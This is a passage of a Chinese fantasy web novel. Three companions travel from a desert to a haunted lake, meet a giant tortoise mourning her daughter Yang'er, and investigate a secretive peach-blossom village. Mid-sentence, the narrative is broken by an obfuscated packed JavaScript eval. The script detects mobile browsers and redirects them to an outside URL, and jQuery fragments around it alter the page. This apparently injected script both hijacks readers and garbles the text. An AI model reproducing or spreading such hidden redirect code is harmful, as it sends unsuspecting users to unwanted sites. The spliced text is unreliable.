他想起了那个传说——沙漠的月亮从来都是圆的,很少有残月。每次残月的出现,都意味着大灾难的降临。 那么圆月呢? 是否也预示着某种变化正在发生? “走吧。”九如说,将烈风煌背在背上,“我们继续前进。不能停。” 白砚看着他,眼神复杂,最终点了点头。 三人一驴,继续向沙漠深处前进。身后,沙地上那场战斗的痕迹已经被风沙完全掩埋,仿佛什么都没有发生过。 但有些东西已经改变了。 九如感觉到,承影剑在微微颤动,仿佛在回应沙漠深处的某种呼唤。 而在他看不见的地方,沙漠深处,一扇古老的门,正在缓缓开启。 门的另一边,一双金色的眼睛,正在黑暗中缓缓睁开。 4. 什刹诡海桃母劫 阳光撕开黑夜的瞬间,九如差点以为自己又刷新死亡了。 那种感觉很奇怪——像是一脚踏空,从万丈悬崖坠落,然后在触地前的刹那猛然惊醒。他腾地一下坐起身,胸口剧烈起伏,心脏在胸腔里狂跳,仿佛随时会冲破皮肉。 眼前不是熟悉的沙漠。 是木头的纹理,被水汽浸润得发暗的木板,随着某种节奏轻轻摇晃。九如眨了眨眼,适应着光线,发现自己躺在一艘木船上。船不大,约莫能容四五人,船身是粗糙的藤条编织而成,上面还能看出瓦罐泥罐留下的凹痕——是那顶诡异的藤轿改造的。 船尾处,白砚赤着上身,正专注地捣鼓着什么。清晨的阳光洒在他背上,勾勒出流畅的肌肉线条,汗水顺着脊椎滑落,在腰际留下一道湿润的痕迹。他手中拿着一块白色的布,仔细看,那居然是他自己的衣服,被他撕成了布条。 “你在做什么?” 九如开口,声音沙哑得厉害,喉咙像是被砂纸磨过。 白砚转过头,汗水从下巴滴落,在木板上溅开细小的水花。他深褐色的瞳孔在晨光中显得格外清亮,此刻正用一种复杂的眼神看着九如——有担忧,有疑惑,还有一丝说不清道不明的警惕。 “你可算是醒了。”白砚说,声音里听不出情绪,“小风,来给他醒醒脑。” 头顶感觉一阵微风拂过,接着一片阴影打下来。一张明艳过人的脸杵在上方,近得能看清她睫毛的弧度。烈风煌倒挂着从船帆的横杆上垂下,长发如瀑般散开,在晨风中微微飘动。 “你啥毛病,放个大招就昏迷一夜?”她眨眨眼,左眼角下的火纹在阳光下格外醒目,“昨晚掏心掏肺的,今天一睁眼就这副失忆的样子?” 九如一头雾水。 烈风煌轻盈地翻身落地,侧身坐到他旁边,歪斜着脑袋打量他,像是要从他脸上找出破绽:“怎么还一副真不记得的样子?昨晚的事,一点印象都没有?” 九如皱起眉头,努力回想。记忆的碎片在脑海中翻涌——傀儡,蒙眼女孩,金色的眼睛,喷涌的鲜血,白骨从沙地中爬出…… “傀儡,蒙眼女孩,轿夫……”他喃喃自语,“战斗……你受伤了!” 他突然想起什么,紧张地抓住烈风煌的肩膀:“你脖子上的伤没事吧?” 烈风煌的脖子上缠着绷带,白色布条下隐隐透出血迹。她微微一怔,随即和白砚交换了一个眼神。 “不是吧,”白砚放下手中的布条,走过来,眉头紧锁,“还真一点不记得了?” 九如茫然地看着他们:“我……应该记得什么?” 白砚指了指九如的胸口,那里,红色的衣袍上有一道明显的裂口,布料边缘焦黑卷曲,像是被火焰灼烧过。但裂口下的皮肤完好无损,甚至连疤痕都没有。 “小风伤到大动脉,血止不住。”白砚的声音低沉而平缓,像是在叙述一件与自己无关的事,“我背着她没走几步,她就快没气息了。你说有办法能救她。” 他顿了顿,深深看了九如一眼。 “然后你掏出了自己的心脏。” 九如浑身一震。 “就那么,直接从胸口掏出来。”白砚继续说,语气平静得可怕,“还在跳动,鲜红的,冒着热气。你把它往小风的伤口上一招呼——然后她的血就止住了。伤口开始愈合,速度快得不可思议。” 烈风煌摸了摸脖子上的绷带,眼神复杂:“我以为你会死。真的,心脏都掏出来了,谁能活?结果你又自己把心脏塞了回去,动作熟练得像是在放回一件随身物品。然后眼睛一闭,就躺那儿了。” 她笑了笑,但那笑容里没有半分笑意:“白砚差点就地给你埋了,要不是我拦着,你都看不见今天的太阳。” 九如被这信息轰炸得体无完肤,大脑一片空白。 他?掏出心脏?救人?还能活? 这怎么可能? “我……”他张了张嘴,却发现自己发不出声音。记忆的断层处是一片漆黑,什么也没有。但身体似乎还记得——胸口隐隐作痛,不是外伤的痛,而是某种更深层的、来自灵魂深处的悸动。 烈风煌挑了挑眉,那双小鹿般的大眼睛紧盯着九如:“蓬莱向来以仙人自居,能这么下血本掏心救我,你肯定想好了保命手段了。不过我还是得说声谢谢——虽然你这方法有点吓人。” 九如这才一点点回忆起来。 不是记忆的回溯,而是一种本能的苏醒。他想起自己身体的特殊性——那是在无数次重生中逐渐察觉的秘密。只要关键器官还在,只要灵魂尚未消散,他的身体就能自我修复,甚至……能治愈他人。 昨晚,烈风煌的动脉被咬破,鲜血如瀑布般喷涌。他看着她苍白的脸,看着她眼中的光芒一点点黯淡,那一刻,什么理智,什么思考,统统不存在了。只有一个念头——救她。 于是他掏出了心脏。 仗着自己能重生,大不了一命换一命。 没想到还能苟活。 他摸了摸胸口,皮肤下是平稳的心跳,一下,两下,坚定而有力。说不出是庆幸还是不幸——庆幸自己还活着,庆幸烈风煌得救了;不幸的是,这个秘密暴露了,在这个充满未知和危险的旅程中,不知道会带来什么后果。 船身摇摇晃晃,水波拍打着船板,发出轻柔的声响。九如决定换个话题。 “这是哪?” 他环顾四周。船漂浮在一片广阔的水域上,水色是深邃的墨绿,几乎发黑。水面平静如镜,倒映着天空的蓝色和云朵的白色。远处有薄雾弥漫,看不清岸边,也看不清水面的尽头。空气湿润而清凉,带着淡淡的水腥味,和沙漠的干燥灼热截然不同。 烈风煌见他不愿多说,便也没追问,双手抱头往船身上一躺,懒洋洋地说:“什刹海啊。” “什刹海?”九如一愣,“我们不是在沙漠里吗?” 昨晚的记忆虽然破碎,但他清楚地记得,他们在一片无垠的沙漠中战斗,沙地,烈日,干尸——怎么一觉醒来,就到了海上? 烈风煌指了指船尾的方向:“说来也巧。昨晚那群傀儡消失后,沙漠里就起了大雾——不是普通的雾,是那种浓得化不开的白雾,伸手不见五指。我们摸索着往前走,然后就看到了这片海。” 她顿了顿,语气里带着一丝不可思议:“一开始我们以为是海市蜃楼,沙漠里常有这种幻象。但走近了才发现,真的是海。水是真的,船是真的——哦,船是我们用那顶藤轿改造的,将就着用吧。” 九如顺着她手指的方向看去。船确实是用藤轿改造的,那些瓦罐泥罐被拆下来堆在船尾,仙人掌和多肉植物被小心地移植到几个陶盆里,摆在船舷两侧。金银珠宝被收拢在一个布袋里,鼓鼓囊囊的,放在船头。 “那你这么知道这是什刹海?”九如问。 烈风煌抬起手,指了指脑袋后方,连眼睛都没睁开:“喏,那不写着嘛。” 九如转过身,顺着她手指的方向看去。 前方的水面上,矗立着一座巨型石碑。 石碑高达十丈,通体漆黑,像是用整块的玄铁铸造而成,表面光滑如镜,反射着水面的波光。碑身上刻着三个巨大的古体字,每个字都有丈许见方,笔画苍劲有力,透着一股沧桑而威严的气息: 什刹海。 九如:“……” 这也太直白了吧? 白砚从自己搭建的简易船帆上跳下来,拍了拍手上的木屑。他重新穿上撕破的衣服——现在那件白衣变成了短袖,下摆也被撕去一截,露出精瘦的腰腹。但即便如此,他站在那里,白发在晨风中微微飘动,依旧有种出尘的气质。 “传闻什刹海是百鬼之境。”白砚说,声音平静,“能知晓天下所有的秘密。” 九如眨了眨眼:“鬼知道?” 烈风煌笑出一口白牙,眼睛弯成月牙:“要不说知道秘密的都死了呢。” 九如:“……” 好像有点道理。 船缓缓靠近石碑。离得近了,才看清石碑的细节。碑身表面并非完全光滑,上面刻满了密密麻麻的细小符文,像是某种古老的咒文。符文之间,隐约能看到一些浮雕——扭曲的人脸,挣扎的手臂,空洞的眼眶。整座石碑散发着一种阴冷的气息,即使是在阳光明媚的清晨,也让人脊背发凉。 更奇怪的是,石碑周围的水面异常平静,连一丝涟漪都没有,像是凝固的黑色琥珀。 “看那里。”白砚指着石碑底部。 水面之下,石碑的基座处,有一条石阶路。石阶是用白色的玉石铺成,每一级都打磨得光滑平整,在墨绿色的水底散发着柔和的荧光。石阶一路向下延伸,消失在深不见底的水域中。 “要下去吗?”烈风煌坐起身,表情严肃起来。 九如和白砚对视一眼。 “来都来了。”白砚说,“而且,我们可能需要答案。” 烈风煌点头,从腰间抽出弯刀,握在手中。白砚也做好了准备,双手结印,随时可以施法。九如召出承影剑,青光在剑身上流转,剑尖那点红芒微微闪烁。 三人小心翼翼地涉水而下。 水很凉,刺骨的凉,像是寒冬腊月的冰水。石阶表面湿滑,长满了青苔,每一步都要格外小心。越往下走,光线越暗,水压越大,呼吸开始变得困难。 但奇怪的是,他们并没有窒息的感觉。周围的水似乎会自动避开他们的口鼻,形成一个个微小的气旋,提供着氧气。 “是石碑的力量。”白砚低声说,“它在引导我们。” 向下走了约莫百级台阶,眼前豁然开朗。 石碑的基座远比想象中巨大。那是一个圆形的平台,直径至少有三十丈,平台上刻着一个巨大的八卦阵图,阵图的每一个卦象都在缓缓转动,散发出不同颜色的光芒。 而阵图的中央,压着一只巨龟。 真的是“压着”——石碑的基座正好压在龟背上,将那只巨龟牢牢地固定在平台中央。巨龟的体型庞大得惊人,龟壳直径超过十丈,表面覆盖着厚重的青苔和藤壶,边缘长满了墨绿色的水草。龟壳上刻满了与石碑相似的符文,只是更加古老,更加复杂。 巨龟的头颅从龟壳中伸出,颈项粗壮如树干,皮肤是深褐色的,布满了皱纹和疙瘩。它的眼睛紧闭着,像是在沉睡。 “怎么是只乌龟?”白砚皱眉。 九如盯着那只巨龟,忽然想起一个古老的传说:“鬼龟……不会是百龟之境吧?” 话音刚落,巨龟身下的阴影处,突然涌出一群小乌龟。不是普通的乌龟,它们的龟壳是漆黑的,上面有血红色的纹路,眼睛是浑浊的白色,没有瞳孔。小乌龟们迅速爬出,密密麻麻,眨眼间就布满了整个平台,将三人团团围住。 白砚炸毛:“乌鸦嘴!!” 烈风煌握紧弯刀,警惕地看着四周。小乌龟们没有攻击,只是静静地围着他们,白色的眼睛齐刷刷地盯着他们,场面诡异得令人毛骨悚然。 就在这时,巨龟缓缓睁开了眼睛。 不是乌龟的眼睛——或者说,不完全是。 那双眼睛是空洞的黑色窟窿,深不见底,里面没有眼球,只有无尽的黑暗。但在黑暗的深处,隐约有两点幽蓝色的光芒在闪烁,像是遥远的星辰。 巨龟的嘴缓缓张开,露出细密的、如同锯齿般的牙齿。然后,一个声音从它口中传出——不是通过空气传播的声音,而是直接在他们脑海中响起的、苍老而沙哑的女声: “有客人来啦?” 声音里带着一丝笑意,但那笑意冰冷而空洞,让人不寒而栗。 烈风煌下意识摸了摸手臂,起了一身鸡皮疙瘩。白砚挡在她身前,警惕地盯着巨龟。 巨龟的头颅缓缓转动,那双黑洞洞的“眼睛”在三人身上扫过,最后定格在烈风煌身上。它盯着她看了很久,久到时间仿佛凝固了。 然后,那个声音再次响起,这次带着一种难以言喻的情绪——像是悲伤,又像是愤怒: “你身上有羊儿的味道。你见过她?” 白砚心中一凛。羊儿?是指那个蒙眼女孩吗?那个被做成傀儡、有着金色眼睛的女孩? 他将烈风煌挡得更严实了些,声音尽量保持平静:“我们不认识什么羊儿。只是听闻百鬼之境可以知晓所有秘密,特来求问。” 巨龟沉默了。平台上的小乌龟们开始躁动,发出窸窸窣窣的声响,像是在交流什么。水底的寒意更盛了,连呼吸都凝成了白雾。 许久,巨龟的声音再次响起:“可以。不过按照规矩,你们要先回答我三个问题。但今天……我只问一个问题。” 它顿了顿,声音陡然变得尖锐: “我的女儿怎么死的?” 白砚愣住:“我们都没见过你女儿,怎么会知道?” 烈风煌却想到了什么,悄悄扯了扯他的衣角,然后在自己的眼睛上轻轻一比划——模仿蒙眼女孩扯下黑布的动作。 九如立刻反应过来了。 蒙眼女孩!那个被做成傀儡、有着金色眼睛的女孩!如果她就是巨龟口中的“羊儿”,那他们确实见过——不仅见过,还战斗过,最后看着她化作细沙消散。 白砚也反应过来了,脸色白了白:“……她……” 巨龟不等他们说完,突然张开嘴,吐出一串巨大的泡沫。泡沫是幽蓝色的,散发着微光,迅速膨胀,将三人包裹其中。泡沫内部是黏稠的液体,缠绕着他们的四肢,让他们动弹不得。 平台上的小乌龟们开始移动,它们爬到泡沫周围,层层叠叠地围成一圈,白色的眼睛死死盯着泡沫中的三人。空气中弥漫着一种危险的信号。 白砚急道:“等等!你女儿被人做成了傀儡!我们本无意伤害她!” 巨龟转过脸,那双黑洞洞的眼睛盯着他们,里面幽蓝色的光芒剧烈闪烁。许久,它才开口,声音冰冷得像冬天的寒冰: “我问的是,她怎么死的。” 九如脑中灵光一闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109769|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 对啊,巨龟问的是“怎么死的”,不是“怎么消失的”。这意味着,在他们遇到蒙眼女孩之前,她就已经死了。她被人做成了傀儡,而傀儡术的前提,就是使用已经死亡的尸体。 所以巨龟要的,不是他们如何与傀儡战斗,而是她女儿真正的死因。 想到这,九如立刻道:“你得让我们去她生前待得地方,我们才能找到死因!” 巨龟沉默了片刻。平台上的小乌龟们停止了移动,泡沫也不再收缩。那双黑洞洞的眼睛在九如身上停留了很久,像是在审视,在判断。 终于,它点了点头:“好,我送你们过去。” 话音刚落,大量的泡沫从巨龟口中喷涌而出,将三人完全淹没。泡沫是幽蓝色的,里面漂浮着细碎的光点,像是星辰的碎片。小乌龟们开始游动,它们像鱼群一样围着泡沫绕圈,速度越来越快,形成一个巨大的漩涡。 漩涡中心,空间开始扭曲,出现了一个蓝紫色的水洞。洞口边缘闪烁着电光,发出滋滋的声响。 下一刻,泡沫裹挟着三人,被吸入水洞之中。 天旋地转。 像是从万丈高空坠落,又像是被卷入海底的暗流。周围是破碎的光影,扭曲的色彩,耳边是呼啸的风声和水声。时间失去了意义,空间失去了方向。 不知过了多久,也许是一瞬间,也许是一万年。 他们冲出了水面。 不是冲入水面之下,而是从水底冲上了水面——从一片水域,进入了另一片水域。 “噗——咳咳!” 三人狼狈地浮出水面,剧烈地咳嗽着,吐出呛入的水。水是温的,带着淡淡的花香。他们环顾四周,发现自己在一条小溪中,溪水清澈见底,能看到水底圆润的鹅卵石和游动的小鱼。 岸边,是漫山遍野的桃花。 不是几株,不是一片,而是真正的“漫山遍野”。粉红色的花朵开得正盛,层层叠叠,遮天蔽日,将整个山谷染成了一片粉色的海洋。微风吹过,花瓣如雨般飘落,洒在溪水上,铺满了岸边。 阳光透过花间的缝隙洒下,在地上投下斑驳的光影。空气中弥漫着浓郁的花香,甜腻得几乎让人窒息。 “这是……”烈风煌从水中站起,湿透的黄衣贴在身上,勾勒出纤细的身形。她甩了甩头发,水珠在空中划出晶莹的弧线,“桃花村?” 白砚也站起身,白发湿漉漉地贴在脸颊上,他环顾四周,眉头紧锁:“不对劲。这里太安静了。” 确实,除了风声、水声、花瓣飘落的声音,整个山谷寂静得可怕。没有鸟鸣,没有虫叫,没有人声。满山遍野的桃花,却感受不到半分生机,反而有种说不出的诡异。 九如最后一个从水中走出。他握着承影剑,警惕地观察着四周。溪水不深,只到膝盖,但水温异常温暖,像温泉一样。水底的鹅卵石是彩色的,红黄蓝绿,像是被人精心挑选过。 “我们先上岸。”白砚说。 三人涉水上岸,踩在铺满花瓣的草地上。花瓣很厚,踩上去软绵绵的,几乎听不到脚步声。他们沿着溪流向上游走去,希望能找到人烟。 走了约莫一刻钟,前方出现了一座小桥。桥是木质的,很简陋,但维护得很好,桥面上没有青苔,栏杆光滑,像是经常有人使用。 桥的另一头,隐约能看到房屋的轮廓——是村落。 “有人!”烈风煌眼睛一亮。 但白砚拦住了她:“等等,你看。” 他指向桥头的方向。那里,桃树的阴影下,站着两个人影。不,是三个。他们隐藏在树后,只露出半个身子,手里似乎拿着什么东西,在阳光下反射出金属的光泽。 “像是……武器。”九如低声说。 三人交换了一个眼神,小心翼翼地向前走去。他们刚踏上桥面,那三个人影就从树后冲了出来。 是三个年轻男子,皮肤黝黑,身材精壮,穿着粗布短衫,手里拿着简陋的武器——一根削尖的木棍,一把生锈的柴刀,还有一把自制的弓箭。 他们的表情很紧张,眼睛死死盯着九如三人,握着武器的手在微微发抖。 为首的那个青年——看起来不过二十出头,脸上有一道浅浅的伤疤——用木棍指着他们,声音颤抖但凶狠: “又、又来劫匪了!” 他身后的两个青年也举起武器,虽然害怕,但眼神坚定,一副誓死守卫家园的模样。 劫匪? 九如三人面面相觑。他们现在的样子确实狼狈——浑身湿透,衣服破旧,手里还拿着武器。但怎么看也不像劫匪吧? “我们不是劫匪。”白砚举起双手,示意自己没有敌意,“我们迷路了,想问问路。” “迷路?”伤疤青年冷笑,“迷路能迷到我们桃花村来?方圆百里都是山,只有一条路进来,你们怎么迷路的?” 烈风煌上前一步,试图缓和气氛:“这位大哥,我们真的没有恶意。我们……是被水冲过来的。” “水冲过来?”另一个青年狐疑地看着他们,“我们村只有一条小溪,水流平缓,连小孩都淹不死,能把你们三个大人冲过来?” 气氛僵持不下。 就在这时,一个苍老的声音从村落方向传来: “阿虎,让他们进来吧。” 三人循声望去,只见一个老者拄着拐杖,缓缓走来。他年纪很大了,头发花白,脸上布满皱纹,背微微佝偻,但眼睛很亮,透着睿智的光芒。 老者穿着朴素的灰色长衫,脚上是草鞋,手里拄着一根桃木拐杖。他走到桥头,对那三个青年摆了摆手:“把武器放下。他们不是劫匪。” “村长!”伤疤青年急道,“上次那伙人也是这么说的,结果……” “我说了,放下。”老者的声音不大,但带着不容置疑的威严。 三个青年不情愿地放下了武器,但仍警惕地盯着九如三人。 老者转向他们,微微欠身:“三位远道而来,老朽是桃花村的村长,姓陶。村里年轻人不懂事,多有冒犯,还请见谅。” 白砚还礼:“陶村长言重了。是我们唐突打扰。” “不打扰,不打扰。”陶村长笑了笑,但笑容里带着一丝疲惫,“只是村里最近不太平,年轻人有些敏感。三位请随我来,到村里喝口茶,歇歇脚。” 他转身向村落走去,三个青年跟在他身后,仍不时回头看向九如三人。 烈风煌压低声音:“这村子有问题。” 九如点头:“太安静了。而且他们说的‘劫匪’……可能不是普通的劫匪。” 白砚没说话,只是握紧了拳头。他的目光在满山遍野的桃花上扫过,眉头越皱越紧。 桃花很美。 美得诡异,美得令人不安。 而他们要找的答案——那个蒙眼女孩的死因——可能就隐藏在这片美丽而诡异的花海之中。 但首先,他们得弄清楚,这个桃花村,到底藏着什么秘密。 5. 什刹诡海桃母劫(二) 陶村长引着三人穿过村落。 桃花村不大,约莫三四十户人家,房屋多是青砖黑瓦,屋檐下挂着风干的辣椒和玉米,院落里种着瓜果蔬菜。村民们或在田里劳作,或在门前织布,见到有外人来,都停下手中的活计,用警惕而好奇的目光打量着他们。 那些目光让九如很不舒服——不是敌意,也不是好奇,而是一种深沉的、难以言喻的疲惫和麻木。就像是……他们已经习惯了某种漫长的煎熬,以至于连惊讶这种情绪都显得奢侈。 “三位这边请。”陶村长拄着桃木拐杖,步伐缓慢但稳健。他带着他们来到村中央的水亭处。 亭子是木结构的,建在一方小池塘上,四周荷叶舒展,翠绿的叶片平铺在水面上,几朵粉色的荷花含苞待放。池水清澈见底,能看见水底圆润的鹅卵石和游动的锦鲤——鱼很小,只有手指大小,但颜色鲜艳,红的如火,白的如雪,金的如阳,在水草间穿梭嬉戏,很是活泼。 池塘边种着几株垂柳,柳条轻拂水面,荡起圈圈涟漪。微风吹过,带来荷花的清香和桃花的甜腻,本该是让人心旷神怡的景致,却因为整个村子的死寂,平添了几分诡异。 几人在亭中落座。石桌石凳被打磨得很光滑,表面有常年使用留下的润泽光泽。陶村长刚坐下,就见一个布衣少女端着托盘从远处走来。 那少女约莫十五六岁,梳着双髻,用简单的蓝色布带系着。她穿着粗布衣裙,袖口和裙摆都有补丁,但洗得很干净。眉目清秀,尤其是一双眼睛,弯弯的像月牙,即便没有笑意,也自带三分温柔。 她低着头,脚步轻盈地走进亭子,将托盘放在石桌上。托盘里是四杯茶,茶汤清亮,散发出淡淡的茉莉花香。 “三位客人请用茶。”少女的声音很轻,带着些许羞涩。她先给陶村长奉上一杯,然后是白砚、烈风煌。 轮到九如时,九如没有接。 他盯着少女看了一会儿。少女察觉到他的目光,头垂得更低了,手指紧张地绞着衣角。 “村长,”九如收回目光,直接进入正题,声音平静但不容回避,“我们是来找一位和她差不多大的小姑娘,请问您知道她住在哪吗?” 他没有拐弯抹角。在这个处处透着古怪的村子里,试探和迂回可能只会浪费时间。 陶村长端着茶杯的手微微一颤,茶水荡出几滴,落在石桌上。他的脸色变了变——虽然很快恢复平静,但那一瞬间的僵硬没有逃过三人的眼睛。 “你说……羊儿?”陶村长放下茶杯,双手撑在拐杖上,声音里带着一丝不易察觉的警惕。 九如心中暗忖:反应这么快,看来这孩子很特殊。他点了点头:“我们是受她母亲所托,前来寻人的。” 他故意没说“死亡”二字。刚才一路观察,村内没有任何白幡以及坟头,连祭奠用的纸钱灰烬都没有,这很不正常。 陶村长沉默了片刻,眉头微皱:“奇怪了,羊儿已经远嫁,接走她母亲何翠芳了,怎么翠芳没看好,又让她跑出去了?” 这话说得古怪。 什么叫“看好”?已经出嫁的女儿,还需要母亲看护吗?而且语气中透着一股理所当然,仿佛羊儿是个需要时刻监视的物件,而不是一个活生生的人。 烈风煌敏锐地抓住了这一点,问道:“她嫁到哪了?” 陶村长指了指东边——正是他们来时的方向,什刹海的方向。 “那是个村外人。”陶村长说,“是羊儿从海边捡回来的。听说照料的过程中两人生了情愫,本来村子里的丫头是不准外嫁的……” 他顿了顿,叹了口气:“但翠芳的情况特殊。她男人死得早,一个人将羊儿拉扯大,还有个常年卧榻的婆婆要照顾。家里没个男人支撑,日子过得紧巴巴的。这外来的小伙带来很多珠宝,让翠芳过了段好生活,这才答应女儿外嫁的。” 九如心里一突突。海边捡回来的?带来珠宝?这描述让他立刻想到了什刹海里的那只巨龟——它守护着金银珠宝,而它的女儿“羊儿”被做成了傀儡,出现在沙漠中。 这两者之间,必然有联系。 他和白砚交换了一个眼神,继续问:“羊儿什么时候接走她母亲的?” 陶村长想了想,说:“大概半个月前吧。羊儿这个孩子……唉,不好养啊。” 九如捕捉到他语气中的一丝异样:“这如何说?” “她从小脑子就不好。”陶村长摇摇头,声音里带着几分惋惜,“十岁了还跟一岁幼儿一样,要人伺候吃喝,又坐不住,腿能蹦跶就爱出去玩。村里的人经常帮忙找她。翠芳命苦啊,上头伺候婆婆,下面还要伺候不懂事的女儿,经常能看到她半夜出来找女儿,有时候跑到山上,还要在狼口下抢孩子。” 他顿了顿,目光望向远处的桃林:“其实我们也劝过,这孩子脑子废了,不如关在家里省事。但翠芳不听,她觉得孩子还小,大了就能懂事。上天弄人啊,眼看都十六岁了,虽然生活能自理了,但连话都说不好,更别说帮衬家里了。” 这话听起来合情合理——一个痴傻的女孩,一个苦命的母亲。但九如立刻察觉到了矛盾之处。 “那羊儿是怎么救了这个村外人的?”他问,“如果她连话都说不好,怎么救?怎么照料?” 陶村长张了张嘴,像是被问住了。他犹豫了一会儿,眼神闪烁,显然在思考该怎么回答。 就在这时,一直站在亭子角落的布衣少女突然站出来,小声说:“是我救的。” 所有人的目光都集中到她身上。 少女低着头,手指绞得更紧了,声音轻得几乎听不见:“他……他漂在海滩上,浑身是伤。我把他拖回村里,照顾了三天。但他醒过来后……没看上我。” 最后几个字说得又轻又快,带着浓浓的失落和自嘲。 九如看向陶村长,发现老者的脸色有些难看,显然对这个突如其来的“坦白”感到不悦。 “你救了他?”九如转向少女,语气尽量温和,“那他怎么接触到羊儿的?” 少女看了眼陶村长,嘴唇动了动,最终还是低下头,不说话了。 陶村长轻咳一声,接过话头:“我们村向来不外嫁姑娘,羊儿的情况特殊,没办法。这个外来的小伙子也是个不爱说话的,倒和羊儿般配。” 这话明显是在搪塞。九如心中冷笑,但面上不动声色:“之后呢?” “那小伙子先是把羊儿接走了。”陶村长说,“之后又来了两个人,接走了翠芳。再之后……我们就没见过她们娘俩了。唉,这么久也没传个音信回来。” 九如知道再问下去也问不出什么实质性的东西了。陶村长明显在隐瞒什么,而那个少女似乎知道内情,但不敢说。 “那方便带我们去羊儿的家看看吗?”他换了个方向。 陶村长微微犹豫:“这……” “我们只是看看,不做任何事。”九如保证道,“看完就走。” 陶村长这才点头,拄着拐杖站起身:“跟我来吧。” 三人跟着他穿过村落,来到最西边的一处小屋。屋子很小,很破旧,墙上的泥灰已经剥落大半,露出里面发黑的土坯。屋顶的茅草稀稀拉拉的,一看就知道漏雨。 屋门是简单的木门,门板上有裂缝,用竹篾勉强修补着。陶村长推开门,一股霉味扑面而来。 屋里光线昏暗,只有一扇小窗透进些许阳光。屋子分两层,楼下是堂屋兼厨房,角落里堆着柴火,灶台是土坯砌的,上面摆着几个豁口的陶罐。一张破旧的木桌,两条长凳,就是全部家具。 “楼上是一间房。”陶村长指着狭窄的木梯,“有两间床。” 九如顺着木梯上去。楼上空间更小,勉强能站直身子。确实有两张床——说是床,其实就是用木板搭的矮榻,上面铺着破旧的草席。一床薄被叠得整整齐齐,但布料已经洗得发白,多处打了补丁。 地上铺着一张破旧的席子,席子边缘已经磨损,露出里面的竹篾。角落里放着一个木箱,箱盖开着,里面有几件衣服,都是灰色的粗布,缝缝补补的痕迹很明显。 “她们都是苦命人啊。”陶村长站在楼下,声音从下面传来,“翠芳只能靠卖菜讨个活计,这些锅碗瓢盆都是村里人给的,谋生的菜籽是我给的。” 九如环顾四周,眉头紧锁。屋里太干净了——不是整洁的干净,而是一种……被刻意清空过的干净。没有私人物品,没有生活的痕迹,就像这里已经很久没有人住,而且住在这里的人离开时带走了所有能带走的东西。 “她不是还有个婆婆吗?”九如走下楼,问道,“婆婆住哪?” 陶村长叹口气:“咳,老婆子躺了三年,遭不住,上个月就没啦。” 九如心里一动:“上个月?那个小伙子是什么时候来村子里的?” 陶村长还没来得及回答,那个一直跟在他们身后的布衣少女小声说:“他早就来了,三个月前,圆月之夜。” 声音很轻,但在寂静的小屋里格外清晰。 陶村长猛地转过头,瞪了她一眼,压低声音道:“再怎么惦记,那也是别人家的。女孩家家的,心要放对位置。” 少女低下头,不再说话,但九如看到她紧握的拳头和微微颤抖的肩膀。 三人在屋里大概看了一会儿,便向陶村长告辞。村长似乎松了口气,亲自送他们到村口。 “三位慢走,山路不好走,小心脚下。”他站在村口的桃花树下,白发在风中微微飘动,脸上的笑容温和而疏离。 走出村子一段距离后,白砚才开口:“我们就这么走了?” 他的语气里带着明显的不解和不满。 九如停下脚步,回头望向村落。桃花依旧开得绚烂,粉色的花海在夕阳下镀上一层金边,美得不真实。 “村长明显隐瞒了什么。”九如说,“既然问不出,留在这反而引起他们警惕。那个小姑娘是个突破口,我们晚上再去找她。” 白砚皱眉:“大晚上人家小姑娘怎么会出门?” 烈风煌也疑惑地看着他。 九如微微一笑,从袖中掏出一样东西——一方素色的帕子,帕角绣着一朵小小的桃花。 “这可是人家主动的。”他晃了晃帕子,“刚才在屋里,她趁村长不注意塞给我的。” 白砚和烈风煌对视一眼,都从对方眼中看到了惊讶。 “什么时候?”烈风煌问。 “上楼查看的时候。”九如将帕子展开,里面用炭笔画了一个简单的图案——一个月亮,一个月亮下的水亭,还有一个时辰标记:亥时三刻。 “她约我们今晚在水亭见面。”九如收起帕子,“看来,她确实有话要说。” 夜幕降临。 沙漠的夜晚寒冷刺骨,但桃花村却温暖得反常。月光如水,洒在满山遍野的桃花上,给粉色的花瓣镀上一层银霜。整个村子沉浸在寂静之中,只有偶尔的犬吠和虫鸣。 三人换上深色衣服,悄无声息地摸回村里。村口没有人看守,但家家户户都门窗紧闭,连一丝灯光都没有,像是整个村子都早早进入了梦乡——或者,是在躲避什么。 水亭在月光下显得格外清幽。池塘水面平静如镜,倒映着天上的明月和周围的桃林。荷叶在夜风中轻轻摇曳,发出沙沙的声响。 亭子里,果然站着一个人。 布衣,双髻,弯弯的眼睛在月光下显得格外明亮。正是白天那个少女。 九如从亭子顶上轻盈地跳下来,落在她面前,没有发出一点声音。 少女显然被吓了一跳,后退了一步,但很快镇定下来。她看着九如,又看了看随后出现的白砚和烈风煌,深吸一口气,像是下定了某种决心。 “姑娘,”九如开口,声音放得很轻,“你有什么想告诉我们的吗?” 少女从怀中掏出一样东西,递给他。 那是一枚鳞片。 约莫巴掌大小,形状不规则,边缘有细微的锯齿。鳞片是墨绿色的,表面有复杂的纹路,像是某种古老的符文。在月光下,鳞片泛着幽幽的冷光,触手冰凉,却异常坚硬。 “这是乌禾给我的。”少女的声音很轻,但很清晰,“他说如果我想找他,拿着鳞片在月色下默念他的名字就行。” 九如接过鳞片,入手沉甸甸的,比看上去要重得多。他仔细端详,发现鳞片边缘有一圈淡淡的金色,像是干涸的血迹。 “这么重要的东西你就这么送人?”他问。 少女低下头,手指绞着衣角:“我……我已经定了亲,而且此生都不能出村子,这鳞片留着只是伤心。羊儿很命苦,乌禾是个好人,我希望他们能幸福。” 她说这话时,声音里有掩不住的失落,但更多的是释然。 九如看着她,这个不过十五六岁的少女,眼神清澈而坚定,像是已经接受了命运的安排,却又想为别人争取一丝可能。 “那你自己呢?”他忍不住问。 少女抬起头,弯弯的眼睛里映着月光:“我有家人,有父母,也会有夫君,我已经拥有幸福了。你快去找羊儿吧,翠姨一定担心坏了。” 她说得那么坦然,那么真诚,让九如一时无言。 最终,他只是点了点头:“多谢,祝你一切顺遂。” 少女微微一笑:“谢谢。” 